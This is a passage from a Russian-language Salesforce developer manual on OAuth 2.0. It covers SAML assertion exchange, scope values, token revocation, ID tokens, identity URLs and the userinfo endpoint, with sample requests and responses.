– inactive_org: заблокированная, закрытая или временно недействующая организация;

– rate_limit_exceeded: превышение ограничения по количеству входов в систему;

– invalid_scope: недопустимая, неизвестная или поврежденная область;

• state: состояние, переданноена этап утверждения. Данныйпараметр отсутствует в том случае, еслиисходная строка
запроса не содержит параметра state.

Ниже приведен пример URI для перенаправления ошибки.

https://www.mysite.com/user_callback.jsp#error=access_denied&state=mystate

СМ. ТАКЖЕ:

Проверка подлинности приложений посредством OAuth
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Процесс утверждения SAML

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования, удаления и
управления приложениями
OAuth:
• «Управление

связанными
приложениями»

Процесс утверждения SAML является альтернативой для тех организаций, которые
используют SAML для доступа к системе Salesforce и нуждаются в такомже доступе к Web
Services API. Процесс утверждения SAML может использоваться только в пределах одной
организации. Данный процесс утверждения может использоваться без связанного
приложения. Клиенты могут использовать данный процесс для интеграции с
интерфейсом API посредством утверждения SAML (подобно интеграции с системой
Salesforce для Web Single Sign-On).

Ниже перечислены основные этапы данного процесса. Более подробное описание
каждого этапа см. ниже.

1. Настройка SAMLна странице5796дляорганизации. Рекомендуемиспользовать SAML
2.0.

2. Замена утверждения SAML маркером доступа.

3. Система Salesforce отправляет ответ.

4. Использованиесинтаксическогоанализатора JSON дляобработкиответаиизвлечения
параметра access_token.

Настройка SAML для OAuth

Чтобы настроить организацию для использования SAML, выполните инструкции, указанные в разделе «Настройка
параметров SAML для Single Sign-On». После настройки SAML можно использовать точно такую же конфигурацию для
веб-интеграции и интеграции API.

Организации, в которой включена поддержка SAML, предоставляются два URL-адреса.

• «URL-адрес входа salesforce.com»: данный URL-адрес должен использоваться для единой веб-регистрации.

• «Конечная точка маркера OAuth 2.0»: данный URL-адрес должен использоваться для замены утверждения SAML
маркером доступа, используемым в API.

При создании утверждений SAML, которые должны использоваться в конечной точке маркера, URL-адрес получателя в
утверждении может принимать значение параметра «Конечная точка маркера OAuth 2.0» или «URL-адрес входа
salesforce.com».

Замена утверждения SAML маркером доступа

Чтобы заменить утверждение SAML маркером доступа, клиент должен получить или создать допустимый ответ SAML и
отправить его на конечную точку маркера посредством метода POST. Способ получения данного ответа определяется
клиентом. После получения допустимого ответа клиент отправляет следующие параметры:

• grant_type: для данного процесса должно быть указано значение assertion;

• assertion: ответ SAML в кодировке Base-64, зашифрованный как URL-адрес, который обычно используется для
единой веб-регистрации;

• assertion_type: должнобытьуказанозначение urn:oasis:names:tc:SAML:2.0:profiles:SSO:browser,
зашифрованное как URL-адрес;

• format: ожидаемыйформат возврата. Данныйпараметрявляетсянеобязательным. Значениепоумолчанию — json.
Ниже указаны возможные значения.

– urlencoded

– json
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– xml

Ниже приведен пример внеполосного запроса POST, отправленного по адресу
https://login.salesforce.com/services/oauth2/token.

grant_type=assertion&assertion_type=
urn%3Aoasis%3Anames%3Atc%3ASAML%3A2.0%3Aprofiles%3ASSO%3Abrowser&
assertion=PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz4KPHNhbW. . .

Сервер Salesforce отправляет ответ

После проверки ответа SAML система Salesforce отправляет клиенту ответ. Ниже перечислены параметры, которые
отображаются в теле ответа.

• access_token: код сеанса Salesforce, который может использоваться в Web Services API.

• token_type: значение Bearer для всех ответов, содержащих маркер доступа.

• id: URL-адрес удостоверения, используемый для идентификации пользователя и отправки запросов на получение
дополнительной информации об этом пользователе. См. раздел «URL-адреса удостоверений» на странице 5802.

Ниже приведен пример ответа, отправленного системой Salesforce.

{"id":"https://login.salesforce.com/id/00Dx0000000BV7z/005x00000012Q9P",
"instance_url":"https://na1.salesforce.com","access_token":
"00Dx0000000BV7z!AR8AQNhMmQeDIKR0.hZagSTaEPCkmoXeYnkaxQnqWlG6Sk9U3i3IFjEH
IzDlsYdU0qoVCXNJtPOwdb7u5rKfq9NldfAKoQjd","token_type":"Bearer"}

В случае возникновения ошибки на данном этапе, ответ будет содержать сообщение об ошибке с указанием следующих
параметров:

• error: код ошибки;

• error_description: описание ошибки и дополнительные сведения;

– unsupported_response_type: неподдерживаемый тип ответа;

– invalid_request: требуется HTTPS;

– invalid_request: необходимо использовать HTTP POST;

– invalid_assertion_type: неподдерживаемый тип утверждения;

– invalid_grant: недействительныйкодавторизации (убедитесь, чтоклиентотправляетпараметры assertion
и assertion_type, зашифрованные как URL-адреса);

– invalid_grant: ограничение диапазона IP-адресов или недопустимое время входа в систему;

– inactive_user: неактивный пользователь;

– inactive_org: заблокированная, закрытая или временно недействующая организация;

– rate_limit_exceeded: превышение ограничения по количеству входов в систему.

• error_uri: ссылканасредствопроверкиутверждения SAML, содержащаяболееподробнуюинформациюобошибке.
Данное значение возвращается только в том случае, если система Salesforce поддерживает анализ утверждения.

Ниже приведен пример ошибки.

{"error_uri":"https://na1.salesforce.com/setup/secur/SAMLValidationPage.apexp",
"error":"invalid_grant","error_description":"invalid assertion"}
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СМ. ТАКЖЕ:

Проверка подлинности приложений посредством OAuth

Общие сведения о единой регистрации

Значения параметра Scope

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования, удаления и
управления приложениями
OAuth:
• «Управление

связанными
приложениями»

Параметр scope позволяетточноопределитьобластьSalesforce, доступнуюклиентскому
приложению.Ниже перечислены допустимые значения параметра scope.

ОписаниеЗначение

Разрешает доступ к текущей учетной записи
зарегистрированного пользователя посредством интерфейсов
API (например, REST API и Bulk API). Кроме того, данное значение
содержит значение chatter_api, разрешающее доступ к
ресурсам Chatter REST API.

api

Разрешает доступ только к ресурсам Chatter REST API.chatter_api

Разрешает доступ к настраиваемымполномочияморганизации,
соответствующей связанному приложению, и определяет
доступность каждого полномочия текущему пользователю.

custom_permissions

Разрешает доступ ко всем данным, доступным
зарегистрированному пользователю, и охватывает все другие
области. Значение full не возвращает маркер обновления.
Чтобыполучитьмаркеробновления, отправьтезапроснаобласть
refresh_token.

full

Разрешает доступ к службе URL-адресов удостоверений. Чтобы
получить тотжерезультат, чтоприиспользованиизначения id,

id

отправьте отдельные запросы profile, email, address и
phone; они все являются синонимами.

Разрешает доступ к уникальному идентификатору текущего
зарегистрированного пользователя для приложений OpenID
Connect.

Область openid может использоваться процессом проверки
подлинности пользователя-агента OAuth 2.0 и процессом

openid

проверки подлинности веб-сервера OAuth 2.0 для возврата
подписанногомаркера кода, соответствующегоспецификациям
OpenID Connect, а также маркера доступа.

Разрешает возврат маркера обновления при наличии права на
его получение. Данная область позволяет приложению

refresh_token

взаимодействовать с данными пользователя в автономном
режиме и является синонимом области offline_access.

Разрешает доступ к страницам Visualforce.visualforce
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ОписаниеЗначение

Разрешает использование параметра access_token в Интернете.Кроме того, данное
значениесодержитзначение visualforce, разрешающеедоступкстраницамVisualforce.

web

Независимо от переданных значений параметра scope, пользователю всегда доступны URL-адреса удостоверений, так
как все значения параметра scope автоматически содержат значение id.

Как только пользователь утверждает приложения, значение параметра scope сохраняется в маркере обновления.

Например, еслипользователь утверждаетприложение, параметру scope которого задано значение id, то система создает
маркеробновления со строкой scope=id. Еслипользователь утверждает второеприложение, параметру scope которого
задано другое значение (например, api), то система создает маркер обновления со строкой scope=api.

Запросы на маркеры носителя JSON или SAML обрабатывают и объединяют параметры scope всех предыдущих маркеров
обновления.

Принимая во внимание предыдущий пример, результат содержит маркер доступа со строкой scope=id%20api.

Ниже приведен пример запроса, определяющего значение параметра scope: api, id или web.

http://login.salesforce.com/services/oauth2/authorize?response_type=token&client_
id=3MVG9lKcPoNINVBKV6EgVJiF.snSDwh6_2wSS7BrOhHGEJkC_&redirect_uri=http://www.example.org/qa/security/oauth
/useragent_flow_callback.jsp&scope=api%20id%20web

СМ. ТАКЖЕ:

Проверка подлинности приложений посредством OAuth

Получение и проверка маркера кода

Отмена маркеров OAuth

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии.

Проверка подлинностипользователей выполняется при отправке запроса из внешнего
приложения (страница клиента). Маркеры доступа пользователей могут быть
аннулированы, также какмаркерыобновленияи все связанныемаркерыдоступа. Данная
функция может использоваться разработчиками для настройки кнопки «Выход» в
приложении.

Отмена маркеров

Чтобы отменить маркеры OAuth 2.0, воспользуйтесь конечной точкой аннулирования:

https://login.salesforce.com/services/oauth2/revoke

Создайте запрос POST, содержащий указанные ниже параметры, с помощьюформата
application/x-www-form-urlencoded в тексте запроса HTTP. Например:

POST /revoke HTTP/1.1
Host: https://login.salesforce.com/services/oauth2/revoke
Content-Type: application/x-www-form-urlencoded

token=currenttoken
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Если указан маркер доступа, то он признается недействительными затем аннулируется. Если указан маркер обновления,
то он также аннулируется со всеми связанными маркерами доступа.

В случае успешной обработки запроса сервер авторизации возвращает код 200. При наличии ошибок возвращается код
400 и один из указанных ниже ответов.

• unsupported_token_type: неподдерживаемый тип маркера

• invalid_token: недействительный маркер

При использовании безопасной среды компонент test.salesforce.com должен заменять компонент
login.salesforce.com.

Поддержка запросов GET

Система Salesforce такжеподдерживает запросы GET состроковымпараметромзапроса token итекущиммаркером. Если
указан маркер доступа, то он признается недействительными затем аннулируется. Если указан маркер обновления, то он
также аннулируется со всеми связанными маркерами доступа. Например:

https://login.salesforce.com/services/oauth2/revoke?token=currenttokenID

Вслучаеуспешнойобработкизапросасерверавторизациивозвращаеткод 200. Приналичиилюбыхошибоквозвращается
код 400.

Поддержка JSONP

Конечная точка аннулирования также принимает запросы GET с дополнительным параметром обратного вызова и
возвращает ответ с типом содержимого application/javascript. Например:

https://login.salesforce.com/services/oauth2/revoke?token=XXXXX&callback=myCallback

В случае успешного выполнения запроса обратный вызов отправляется в функцию JavaScript, заданную в параметре GET
обратного вызова:

myCallback({});

В случае возникновения ошибки обратный вызов отправляется с кодом ошибки:

myCallback({"error":"invalid_token"});

СМ. ТАКЖЕ:

Использование маркера доступа
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Использование маркера доступа

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования, удаления и
управления приложениями
OAuth:
• «Управление

связанными
приложениями»

Метод использования маркера доступа, полученного с помощью протокола OAuth 2.0,
зависит от используемого API.

• При использовании REST API рекомендуем задать заголовок авторизации HTTP в
следующемформате: Authorization: Bearer маркер_доступа.

• При использовании SOAP API маркер доступа помещается в заголовок проверки
подлинности SessionHeader SOAP.

• При использовании URL-адреса удостоверения рекомендуем задать заголовок
авторизации HTTP (как в REST API) или параметр HTTP oauth_token.

Получение и проверка маркера кода

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования, удаления и
управления приложениями
OAuth:
• «Управление

связанными
приложениями»

Система Salesforce позволяет отвечать на запрос OAuth посредством маркера кода,
соответствующего спецификациям OpenID Connect. Процесс проверки подлинности
пользователя-агента OAuth 2.0 и процесс проверки подлинности веб-сервера OAuth 2.0
могут запрашивать подписанный маркер кода, если параметру scope запроса задано
значение openid. Возвращаемым маркером является JSON Web Token (JWT).

• Процесс проверки подлинности пользователя-агента должен содержать параметр
response_type со значением token id_token, параметр scope со значением
openid и параметр nonce.

• Процесс проверки подлинности веб-сервера должен содержать параметр
response_type со значением code и параметр scope со значением openid.
Параметр nonce является дополнительным для процесса проверки подлинности
веб-сервера.

Ниже приведен пример запроса на маркер кода для процесса проверки подлинности
пользователя-агента.

https://login.salesforce.com/services/oauth2/authorize?response_type=token+id_token
&redirect_uri=https://login.salesforce.com/services/oauth2/success
&client_id=3MVG9lKcPoNINVBIPJjdw1J9LLJbP_pqwoJYyuisjQhr_LLurNDv7AgQvDTZwCoZuD_
3Oxug0sU3_WrBPd_Ax6Mcnlg5HSnLGQ&scope=openid&nonce=somevalue

ЧтобыподтвердитьдопустимостьподписиSalesforce, используемойвответе, воспользуйтесьопубликованнымиоткрытыми
ключами.

1. Откройте страницу https://login.salesforce.com/id/keys.
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Ответ содержит сведения в формате JSON об открытых ключах, использованных для подписания.

2. Чтобы проверить подпись, воспользуйтесь ключом со значением kid, определяющим версию выпуска.

СМ. ТАКЖЕ:

Процесс проверки подлинности пользователя-агента OAuth 2.0

Процесс проверки подлинности веб-сервера OAuth 2.0

URL-адреса удостоверений

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования, удаления и
управления приложениями
OAuth:
• «Управление

связанными
приложениями»

Прииспользованиизначения id параметра scope, помимомаркера доступа, ответ также
содержит URL-адрес удостоверения.

URL-адрес удостоверения — это не только уникальный идентификатор пользователя,
ноиинтерфейсAPIнаоснове REST, которыйможетиспользоватьсядляотправкизапросов
(с действительным маркером доступа) на получение дополнительных сведений о
пользователе. Система Salesforce возвращает основные персональные сведения о
пользователе, конечные точки, доступные клиенту для обращения (например,
фотографии пользователя), и доступные конечные точки API.

Доступ клиента к URL-адресу удостоверения одного пользователя организации
инициирует предоставление доступа к URL-адресу удостоверения другого пользователя
даннойорганизациитолькопривыполнениисвязанныммаркеромвсехперечисленных
ниже условий.

• Запрос OAuth для маркера доступа содержит значение full или api параметра
scope.

• Маркер доступа предназначается пользователю с полномочием «API включен».

• Маркер доступа предназначается пользователю, которому правила общего доступа
предоставляют доступ к другому пользователю.

• Маркер доступа предназначается внутреннему пользователю, то есть параметру
user_type ответа соответствует значение STANDARD.

Впротивномслучае, URL-адрес удостоверенияможет бытьпросмотрен толькоприналичиимаркера доступа для каждого
пользователя.

URL-адрес должен иметь следующийформат: https://login.salesforce.com/id/кодОрг/кодПользователя, где
кодОрг — это код организации Salesforce, которой принадлежит пользователь, а кодПользователя — это код пользователя
Salesforce.

Прим.: Прииспользованиибезопаснойсредыкомпонент login.salesforce.com должензаменятькомпонент
test.salesforce.com.

URL-адреса всегда должны содержать протокол HTTPS.

Параметры URL-адреса удостоверения

Ниже перечислены параметры, которые могут использоваться для маркера доступа и URL-адреса удостоверения. Маркер
доступа может использоваться в заголовке запроса на авторизациюили запросе, содержащем параметр oauth_token.

5802

Интеграция приложений в SalesforceРасширение Salesforce посредством кода



ОписаниеПараметр

См. раздел «Использование маркера доступа» на странице 5801.Маркер доступа

Данный параметр является необязательным. Укажите формат отображения
результатов. Допустимые значения:

Формат

• json

• xml

Помимо параметра format, возвращаемыйформат также может быть задан в
заголовке Accept с помощью одного из следующих значений:

• Accept: application/json

• Accept: application/xml

• Accept: application/x-www-form-urlencoded

Обратите внимание на перечисленные ниже примечания.

• Заголовки Accept могут содержатьспециальныесимволы. Допускаемыесимволы
*/* возвращают значение JSON.

• Список значений также принимается и подлежит проверке слева направо.
Например: Список значений
application/xml,application/json,application/html,*/*
возвращает значение XML.

• Параметр format имеет приоритет над заголовком запроса Accept.

Данный параметр является необязательным. Введите номер версии SOAP API или
текстовуюстроку latest. Если значениене указано, то возвращаемые URL-адреса

Версия

API содержатбуквенноезначение {version} вместономераверсии; заменастроки
выполняется клиентом. Еслиуказано значение latest, тоиспользуетсяпоследняя
версия API.

Данныйпараметр является дополнительнымипринимается только заголовком (не
какпараметр URL-адреса). Укажите способформатированиярезультатов. Например,

PrettyPrint

добавьте в заголовок следующую строку: X-PrettyPrint:1. Если значение
данного параметра не указано, то возвращаемыйформат XML или JSON
оптимизируется по размеру, а не по четкости.

Данныйпараметрявляетсянеобязательным. Укажитедействительноеимяфункции
JavaScript. Данный параметр используется только при выборе формата JSON.

Обратный вызов

Результатыдобавляютсявданноеимяфункции (JSONP). Например, есливрезультате
запроса https://server/id/orgid/userid/ возвращается значение
{"foo":"bar"}, то в результате запроса
https://server/id/orgid/userid/?callback=baz возвращается
значение baz({"foo":"bar"});.

Ответ с URL-адресом удостоверения

Ниже перечислены сведения, возвращаемые допустимым запросом в формате JSON.

• id: URL-адрес удостоверения (тот URL-адрес, на который был отправлен запрос).
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• asserted_user: логическое значение, указывающее на то, создан ли используемый маркер доступа для данного
URL-адреса удостоверения.

• user_id: код пользователя Salesforce.

• username: имя пользователя Salesforce.

• organization_id: код организации Salesforce.

• nick_name: прозвище запрашиваемого пользователя в сообществе.

• display_name: отображаемое (полное) имя запрашиваемого пользователя.

• email: адрес эл. почты запрашиваемого пользователя.

• email_verified: определяет наличие (true) или отсутствие (false) функции проверки эл. почты.

• first_name: личное имя пользователя.

• last_name: фамилия пользователя.

• timezone: часовой пояс в параметрах пользователя.

• photos: соотнесение URL-адресов с изображениями для профиля пользователя.

Прим.: Доступ к данным URL-адресам возможен только при условии передачи маркера доступа. См. раздел
«Использование маркера доступа» на странице 5801.

– picture

– thumbnail

• addr_street: часть адреса в параметрах пользователя: название улицы.

• addr_city: часть адреса в параметрах пользователя: название города.

• addr_state: часть адреса в параметрах пользователя: название области.

• addr_country: часть адреса в параметрах пользователя: название страны.

• addr_zip: часть адреса в параметрах пользователя: почтовый индекс.

• mobile_phone: номер мобильного телефона в параметрах пользователя.

• mobile_phone_verified: подтверждение достоверности номера мобильного телефона пользователем. См.
описание поля «Пользователь Mobile».

• status: текущий статус пользователя Chatter.

– created_date: дата добавления последнего сообщения пользователя в формате xsd datetime  (например,
2010-05-08T05:17:51.000Z).

– body: текст сообщения.

• urls: соотнесение, содержащее различные конечные точки API, которые могут использоваться для указанного
пользователя.

Прим.: Доступ к конечным точкам REST возможен только при условии передачи маркера доступа. См. раздел
«Использование маркера доступа» на странице 5801.

– enterprise  (SOAP)

– metadata  (SOAP)

– partner  (SOAP)

– rest  (REST)

– sobjects  (REST)

– search  (REST)
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– query  (REST)

– recent  (REST)

– profile

– feeds  (Chatter)

– feed-items  (Chatter)

– groups  (Chatter)

– users  (Chatter)

– custom_domain: данное значение пропускается, если организация не использует настраиваемый домен.

• active: логическое значение, указывающее на то, является ли запрашиваемый пользователь активным.

• user_type: тип запрашиваемого пользователя.

• language: язык запрашиваемого пользователя.

• locale: регион запрашиваемого пользователя.

• utcOffset: сдвиг часового пояса запрашиваемого пользователя относительно Гринвича (в миллисекундах).

• last_modified_date: дата добавления последнего изменения в формате xsd datetime  (например,
2010-06-28T20:54:09.000Z).

• is_app_installed: данное свойство отображает значение true, при условии, что связанное приложение
установлено в организации текущего пользователя, а маркер доступа создан посредством процесса OAuth. Если
связанное приложение не установлено, то данное свойство не существует (значение false не используется). При
анализе ответа рекомендуем проверять наличие данного свойства и его значение.

• mobile_policy: конкретные значениядля управлениямобильнымисвязаннымиприложениями. Данные значения
доступнытолькоприустановкесвязанногоприложенияворганизациитекущегопользователя, а такжепринастройке
времени завершения сеанса и длины PIN-кода.

– screen_lock: срок ожидания блокировки экрана в случае простоя.

– pin_length: длина идентификационного номера, необходимого для получения доступа к мобильному
приложению.

• push_service_type: данный параметр содержит значение apple при регистрации связанного приложения
посредством службы APNS (для всплывающих уведомлений iOS) или значение androidGcm при регистрации
связанногоприложенияпосредствомслужбы GCM (для всплывающихуведомлений Android). Значениеответа является
массивом.

• custom_permissions: если запрос содержит значение custom_permissions параметра scope, то ответ
предусматривает соотнесение, которое содержит настраиваемые полномочия организации, связанные со связанным
приложением. Если связанное приложение не установлено в организации или не имеет связанных настраиваемых
полномочий, то ответ не содержит соотнесение custom_permissions.Ниже приведен пример запроса.

http://login.salesforce.com/services/oauth2/authorize?response_type=token&client_
id=3MVG9lKcPoNINVBKV6EgVJiF.snSDwh6_2wSS7BrOhHGEJkC_&redirect_uri=http://www.example.org/qa/security/oauth
/useragent_flow_callback.jsp&scope=api%20id%20custom_permissions

Ниже приведен блок JSON в ответе с URL-адресом удостоверения.

"custom_permissions":
{
"Email.View":true,
"Email.Create":false,
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"Email.Delete":false
}

Ниже приведен пример ответа в формате XML.

<?xml version="1.0" encoding="UTF-8"?>
<user xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<id>http://na1.salesforce.com/id/00Dx0000001T0zk/005x0000001S2b9</id>
<asserted_user>true</asserted_user>
<user_id>005x0000001S2b9</user_id>
<organization_id>00Dx0000001T0zk</organization_id>
<nick_name>admin1.2777578168398293E12foofoofoofoo</nick_name>
<display_name>Alan Van</display_name>
<email>admin@2060747062579699.com</email>
<status>

<created_date xsi:nil="true"/>
<body xsi:nil="true"/>

</status>
<photos>

<picture>http://na1.salesforce.com/profilephoto/005/F</picture>
<thumbnail>http://na1.salesforce.com/profilephoto/005/T</thumbnail>

</photos>
<urls>

<enterprise>http://na1.salesforce.com/services/Soap/c/{version}/00Dx0000001T0zk
</enterprise>
<metadata>http://na1.salesforce.com/services/Soap/m/{version}/00Dx0000001T0zk
</metadata>
<partner>http://na1.salesforce.com/services/Soap/u/{version}/00Dx0000001T0zk
</partner>
<rest>http://na1.salesforce.com/services/data/v{version}/
</rest>
<sobjects>http://na1.salesforce.com/services/data/v{version}/sobjects/
</sobjects>
<search>http://na1.salesforce.com/services/data/v{version}/search/
</search>
<query>http://na1.salesforce.com/services/data/v{version}/query/
</query>
<profile>http://na1.salesforce.com/005x0000001S2b9
</profile>

</urls>
<active>true</active>
<user_type>STANDARD</user_type>
<language>en_US</language>
<locale>en_US</locale>
<utcOffset>-28800000</utcOffset>
<last_modified_date>2010-06-28T20:54:09.000Z</last_modified_date>
</user>

Ниже приведен пример ответа в формате JSON.

{"id":"http://na1.salesforce.com/id/00Dx0000001T0zk/005x0000001S2b9",
"asserted_user":true,
"user_id":"005x0000001S2b9",
"organization_id":"00Dx0000001T0zk",
"nick_name":"admin1.2777578168398293E12foofoofoofoo",
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"display_name":"Alan Van",
"email":"admin@2060747062579699.com",
"status":{"created_date":null,"body":null},
"photos":{"picture":"http://na1.salesforce.com/profilephoto/005/F",

"thumbnail":"http://na1.salesforce.com/profilephoto/005/T"},
"urls":

{"enterprise":"http://na1.salesforce.com/services/Soap/c/{version}/00Dx0000001T0zk",
"metadata":"http://na1.salesforce.com/services/Soap/m/{version}/00Dx0000001T0zk",
"partner":"http://na1.salesforce.com/services/Soap/u/{version}/00Dx0000001T0zk",
"rest":"http://na1.salesforce.com/services/data/v{version}/",
"sobjects":"http://na1.salesforce.com/services/data/v{version}/sobjects/",
"search":"http://na1.salesforce.com/services/data/v{version}/search/",
"query":"http://na1.salesforce.com/services/data/v{version}/query/",
"profile":"http://na1.salesforce.com/005x0000001S2b9"},

"active":true,
"user_type":"STANDARD",
"language":"en_US",
"locale":"en_US",
"utcOffset":-28800000,
"last_modified_date":"2010-06-28T20:54:09.000+0000"}

Ниже перечислены возможные ответы системы Salesforce после отправки недопустимого запроса.

Описание запросаКод ошибки

HTTP403 (запрещено) — HTTPS_Required

Маркер доступа отсутствует403 (запрещено) — Missing_OAuth_Token

Недопустимый маркер доступа403 (запрещено) — Bad_OAuth_Token

Пользователи в другой организации403 (запрещено) — Wrong_Org

Недопустимый или недействительный код
пользователя или организации

404 (не найдено) — Bad_Id

Деактивированный пользователь или неактивная
организация

404 (не найдено) — Inactive

Недостаточныйуровеньдоступакорганизацииили
сведениям

404 (не найдено) — No_Access

Запрос для недопустимой конечной точки сайта404 (не найдено) — No_Site_Endpoint

Сервер не отвечает404 (не найдено) — Internal_Error

Недопустимая версия406 (не допустимо) — Invalid_Version

Недопустимый обратный вызов406 (не допустимо) — Invalid_Callback

СМ. ТАКЖЕ:

Использование маркера доступа

Редактирование пользователей
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Конечная точка сведений о пользователе

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования, удаления и
управления приложениями
OAuth:
• «Управление

связанными
приложениями»

Конечная точка сведений о пользователе — это интерфейс API на основе REST, который
может использоваться для отправки запросов (с действительным маркером доступа) на
получение сведений о пользователе, связанном с маркером доступа, в стандартном
формате OpenID Connect.СистемаSalesforce возвращаетосновныеперсональныесведения
о пользователе, конечные точки, доступные клиенту для обращения (например,
фотографии пользователя), и доступные конечные точки API. Данная конечная точка
предоставляет доступ к сведениям только текущему пользователю, но не другим
пользователям организации.

URL-адрес должен иметь следующийформат:
https://login.salesforce.com/services/oauth2/userinfo.

Прим.: При использовании безопасной среды компонент
login.salesforce.com должензаменятькомпонент test.salesforce.com.

URL-адреса всегда должны содержать протокол HTTPS.

Параметры конечной точки сведений о пользователе

Ниже перечислены параметры, которые могут использоваться для маркера доступа и
конечной точки сведений о пользователе. Маркер доступа может использоваться в
заголовке запроса на авторизацию или запросе, содержащем параметр oauth_token.

ОписаниеПараметр

См. раздел «Использование маркера доступа» на странице 5801.Маркер доступа

Данный параметр является необязательным. Укажите формат отображения
результатов. Допустимые значения:

Формат

• json

• xml

Помимо параметра format, возвращаемыйформат также может быть задан в
заголовке Accept с помощью одного из следующих значений:

• Accept: application/json

• Accept: application/xml

• Accept: application/x-www-form-urlencoded

Обратите внимание на перечисленные ниже примечания.

• Заголовки Accept могут содержатьспециальныесимволы. Допускаемыесимволы
*/* возвращают значение JSON.

• Список значений также принимается и подлежит проверке слева направо.
Например: Список значений
application/xml,application/json,application/html,*/*
возвращает значение XML.

• Параметр format имеет приоритет над заголовком запроса Accept.

Данный параметр является необязательным. Введите номер версии SOAP API или
текстовуюстроку latest. Если значениене указано, то возвращаемые URL-адреса

Версия
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ОписаниеПараметр

API содержатбуквенноезначение {version} вместономераверсии; заменастроки
выполняется клиентом. Еслиуказано значение latest, тоиспользуетсяпоследняя
версия API.

Данныйпараметр является дополнительнымипринимается только заголовком (не
какпараметр URL-адреса). Укажите способформатированиярезультатов. Например,

PrettyPrint

добавьте в заголовок следующую строку: X-PrettyPrint:1. Если значение
данного параметра не указано, то возвращаемыйформат XML или JSON
оптимизируется по размеру, а не по четкости.

Данныйпараметрявляетсянеобязательным. Укажитедействительноеимяфункции
JavaScript. Данный параметр используется только при выборе формата JSON.

Обратный вызов

Результатыдобавляютсявданноеимяфункции (JSONP). Например, есливрезультате
запроса https://server/id/orgid/userid/ возвращается значение
{"foo":"bar"}, то в результате запроса
https://server/id/orgid/userid/?callback=baz возвращается
значение baz({"foo":"bar"});.

Ответ конечной точки сведений о пользователе

Послеотправкидопустимого запроса система Salesforce возвращаетпоумолчаниюсведениявформате JSON илисведения,
заданные параметром Format.

Ответ содержит значения, перечисленныев документеOpenID Connect Basic Client Profile, а также кодпользователя Salesforce,
код организации и связанные URL-адреса для профиля, ленты и т. д.

Ниже приведен пример ответа в формате JSON.

{"sub":"http://login.salesforce.com/id/00Dx000.../005x000...",
"user_id":"005x000...","organization_id":"00Dx000...",
"preferred_username":"user1@1135222488950007.com",
"nickname":"user1.3860098879512678E12",
"name":"na1 LastName",
"email":"user1@1135222488950007.com",
"email_verified":true,"given_name":"na1","family_name":"LastName",
"zoneinfo":"America/Los_Angeles",
"photos":{"picture":"http://na1.salesforce.com/profilephoto/005/F","thumbnail":"http://na1.salesforce.com/profilephoto/005/T"},
"profile":"http://na1.salesforce.com/005x000...",
"picture":"http://na1.salesforce.com/profilephoto/005/F",
"address":{"country":"us"},
"urls":{"enterprise":"http://na1.salesforce.com/services/Soap/c/{version}/00Dx00...",
"
"partner":"http://na1.salesforce.com/services/Soap/u/{version}/00Dx00...",
"rest":"http://na1.salesforce.com/services/data/v{version}/",
"sobjects":"http://na1.salesforce.com/services/data/v{version}/sobjects/",
"search":"http://na1.salesforce.com/services/data/v{version}/search/",
"query":"http://na1.salesforce.com/services/data/v{version}/query/",
"recent":"http://na1.salesforce.com/services/data/v{version}/recent/",
"profile":"http://na1.salesforce.com/005x000...",
"feeds":"http://na1.salesforce.com/services/data/v{version}/chatter/feeds",
"groups":"http://na1.salesforce.com/services/data/v{version}/chatter/groups",
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"users":"http://na1.salesforce.com/services/data/v{version}/chatter/users",
"feed_items":"http://na1.salesforce.com/services/data/v{version}/chatter/feed-items"},
"active":true,"user_type":"STANDARD","language":"en_US","locale":"en_US","utcOffset":-28800000,"updated_at":"2013-12-02T18:46:42.000+0000"}

Ниже приведен пример ответа в формате XML.

<?xml version="1.0" encoding="UTF-8"?>
<user>
<sub>http://login.salesforce.com/id/00Dx000.../005x000...</sub>
<user_id>005x000...</user_id>
<organization_id>00Dx000...</organization_id>
<preferred_username>user1@1135222488950007.com</preferred_username>
<nickname>user1.3860098879512678E12</nickname>
<name>user1 LastName</name>
<email>user1@1135222488950007.com</email>
<email_verified>true</email_verified>
<given_name>user1</given_name>
<family_name>LastName</family_name>
<zoneinfo>America/Los_Angeles</zoneinfo>
<photos>
<picture>http://na1.salesforce.com/profilephoto/005/F</picture>
<thumbnail>http://na1.salesforce.com/profilephoto/005/T</thumbnail></photos>
<profile>http://na1.salesforce.com/005x000...</profile>
<picture>http://na1.salesforce.com/profilephoto/005/F</picture>
<address>
<country>us</country>
</address>
<urls>
<enterprise>http://na1.salesforce.com/services/Soap/c/{version}/00Dx0000002rIh1</enterprise>
<metadata>http://na1.salesforce.com/services/Soap/m/{version}/00Dx0000002rIh1</metadata>
<partner>http://na1.salesforce.com/services/Soap/u/{version}/00Dx0000002rIh1</partner>
<rest>http://na1.salesforce.com/services/data/v{version}/</rest>
<sobjects>http://na1.salesforce.com/services/data/v{version}/sobjects/</sobjects>
<search>http://na1.salesforce.com/services/data/v{version}/search/</search>
<query>http://na1.salesforce.com/services/data/v{version}/query/</query>
<recent>http://na1.salesforce.com/services/data/v{version}/recent/</recent>
<profile>http://na1.salesforce.com/005x000...</profile>
<feeds>http://na1.salesforce.com/services/data/v{version}/chatter/feeds</feeds>
<groups>http://na1.salesforce.com/services/data/v{version}/chatter/groups</groups>
<users>http://na1.salesforce.com/services/data/v{version}/chatter/users</users>
